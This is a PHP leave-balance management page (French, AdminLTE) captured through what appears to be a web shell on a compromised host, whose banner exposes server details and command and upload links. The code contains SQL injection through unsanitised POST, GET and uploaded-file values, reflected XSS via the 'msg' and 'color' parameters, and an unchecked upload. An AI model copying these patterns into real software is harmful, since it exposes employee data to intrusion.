|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
extract($_POST);
// if($_POST)
// {
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// echo "<pre>" ;
// print_r($_FILES);
// echo "</pre>" ;
// exit() ;
// }
//nouveau prduit
if ( $_POST['Enregistrer']=="Enregistrer")
{
// print_r($_POST);
// exit() ;
extract($_POST);
$_SESSION["id_congee_restant_max"] = $id_congee_restant_max ;
// $target_dir = "photo_produit/";
$target_dir_2 = "Fichier/";
$target_file_2 = $target_dir_2 ."aa.txt";
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file_2,PATHINFO_EXTENSION));
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file_2) ;
$handle = fopen("Fichier/aa.txt", "r");
if ($handle) {
while (($line = fgets($handle)) !== false) {
// process the line read.
$row = explode(";", $line);
$idd = str_replace('"','',$row[0]) ;
$idd = str_replace('=','',$idd) ;
$congee_moins_deux = str_replace('"','',$row[3]) ;
$congee_moins_deux = str_replace(' ','',$congee_moins_deux) ;
$congee_moins_deux = str_replace(',','.',$congee_moins_deux) ;
$congee_moins_un = str_replace('"','',$row[4]) ;
$congee_moins_un = str_replace(' ','',$congee_moins_un) ;
$congee_moins_un = str_replace(',','.',$congee_moins_un) ;
$congee = str_replace('"','',$row[5]) ;
$congee = str_replace(' ','',$congee) ;
$congee = str_replace(',','.',$congee) ;
echo "=o==>".$congee_moins_deux."<br/>" ;
echo "=o==>".$congee_moins_un."<br/>" ;
echo "=o==>".$congee."<br/>" ;
dbi_query("INSERT INTO `congee_restant` (`id_congee_restant`, `salarie_id`, `congee_moins_deux`, `congee_moins_un`, `congee`, `mois`, `annee`)
VALUES
(NULL, '".$idd."', '".$congee_moins_deux."', '".$congee_moins_un."', '".$congee."', '".$mois."', '".$annee."')");
}
fclose($handle);
}
header('Location:fichie_upload_conge.php?msg=Fichier bien enregistré&color=success');
}
?>
<!DOCTYPE html>
<html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li>
<?php echo '<a href="#myModal2" id="custId" data-toggle="modal" data-id="'.$c['Fournisseur_ID'].'"><h3><button type="button" class="btn btn-primary" ><i class="fas fa-plus"></i> Ajouter Fichier</button></h3></a>';?>
</li>
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal2" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch2" ></div>
</div>
</div>
</div>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<!-- PAGE PRINCIPALE -->
<section class="content">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-header">
<div class="row">
<div class="col-sm-11"><h3 class="card-title"> <i class="nav-icon fas fa-registered"></i> Informations Congés </h3> </div>
<div class="col-sm-1"></div>
</div>
</div>
<!-- /.card-header -->
<div class="card-body">
<form method="POST" action="" >
<div class="form-row">
<div class="form-group col-md-3">
<label for="add-item"> </label>
<select onchange="selectChange()" class="form-control select2" id="mois" name="mois" required="required">
<option value="" selected>Selectionner Mois</option>
<option value="Janvier"> Janvier </option>
<option value="Février"> Février </option>
<option value="Mars"> Mars </option>
<option value="Avril"> Avril </option>
<option value="Mai"> Mai </option>
<option value="Juin"> Juin </option>
<option value="Juillet"> Juillet </option>
<option value="Août"> Août </option>
<option value="Septembre">Septembre </option>
<option value="Octobre"> Octobre </option>
<option value="Novembre"> Novembre </option>
<option value="Décembre'">Décembre' </option>
</select>
</div>
<div class="form-group col-md-2">
<label for="add-item"> </label>
<select onchange="selectChange()" class="form-control select2" id="annee" name="annee" required="required">
<option value="" selected>Selectionner Année</option>
<option value="2020"> 2020 </option>
<option value="2021"> 2021 </option>
<option value="2022"> 2022 </option>
<option value="2023"> 2023 </option>
<option value="2024"> 2024 </option>
<option value="2025"> 2025 </option>
<option value="2026"> 2026 </option>
<option value="2027"> 2027 </option>
</select>
</div>
<div class="form-group col-md-2">
<label for="add-item"> </label>
<label for="add-item"> </label>
<br/>
<input type="submit" name="submitbtn" value="Afficher" name="Afficher" class="btn btn-primary">
</div>
</div>
<div class="modal-footer justify-content-between">
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<?php
// print_r($_POST) ;
extract($_POST);
if ($_POST['submitbtn']=="Afficher")
{
// echo "aa <br/>" ;
extract($_POST);
$q = dbi_query("SELECT * FROM congee_restant c , salarie s WHERE c.salarie_id = s.salarie_id AND c.salarie_id != 0 and `mois` LIKE '".$mois."' AND `annee` = ".$annee) ;
}
elseif(!empty($_GET['msg'])){
// echo "bb <br/>" ;
$q = dbi_query("SELECT * FROM congee_restant c , salarie s WHERE c.salarie_id = s.salarie_id AND c.salarie_id != 0 and id_congee_restant > ".$_SESSION["id_congee_restant_max"]) ;
}
else{
// echo "cc <br/>" ;
$q = dbi_query("SELECT * FROM congee_restant c , salarie s WHERE c.salarie_id = s.salarie_id AND c.salarie_id != 0 ") ;
}
?>
</br>
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-hover">
<thead>
<TR>
<th align="">Salarie</th>
<th align="">Congés reste N-2</th>
<th align="">Congés reste N-1</th>
<th align="">Congés reste N</th>
<th align="">Congés Total</th>
<th align="">Congés Demandé</th>
<th align="">Mois/Année</th>
<!--
<th align="center"></th>
<th align="center"></th> -->
</TR>
</thead>
<tbody>
<?
while($c = dbi_fetch_row($q)) {
// echo "===>".$c['mois']."<br/>" ;
$total = 0 ;
$total = $c['congee_moins_deux']+ $c['congee_moins_un'] ;
$mois = mois_to_nbr($c['mois']) ;
$date_c = $c["annee"].$mois.""."31" ;
$conge_future = dbi_fetch_row(dbi_query(" SELECT * FROM `salarie_absence` WHERE `absence_type_id` = 1 and salarie_id = ".$c['salarie_id']." and salarie_absence_date_debut > ".$date_c)) ;
$chaine_date = "" ;
if(!empty($conge_future['salarie_absence_date_debut']))
{
$chaine_date = "du ".int2date($conge_future['salarie_absence_date_debut'])." au ".int2date($conge_future['salarie_absence_date_fin']) ;
}
// $c['congee_moins_deux']
?>
<TR>
<TD align="" ><?=$c['salarie_nom']." ".$c['salarie_prenom']?></TD>
<TD align="" ><?=$c['congee_moins_deux']?></TD>
<TD align="" ><?=$c['congee_moins_un']?></TD>
<TD align="" ><?=$c['congee']?></TD>
<TD align="" ><?=$total?></TD>
<TD align="" ><?=$chaine_date?></TD>
<TD align="" nowrap><?=$c['mois']." ".$c["annee"]?></TD>
<!--
<TD align="center" nowrap>
// echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$c['Produit_ID'].'"><i class="fas fa-pencil-alt"></i></a>';
</a>
</TD>
<TD align="center" nowrap>
<a class="btn btn-danger btn-sm" href="?action=sup&id= php variable" onclick="return confirm('Voulez-vous vraiment supprimer ce prduit ?');">
<i class="fas fa-trash">
</i>
</a>
</TD>
-->
</TR>
<?
}//while
?>
</tbody>
</table>
</div></div>
</div></div>
</div>
</section>
</div></div>
<!-- page script -->
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal2').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajouter_file.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch2').html(data);//Show fetched data from database
}
});
});
});
</script>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
</body>
</html>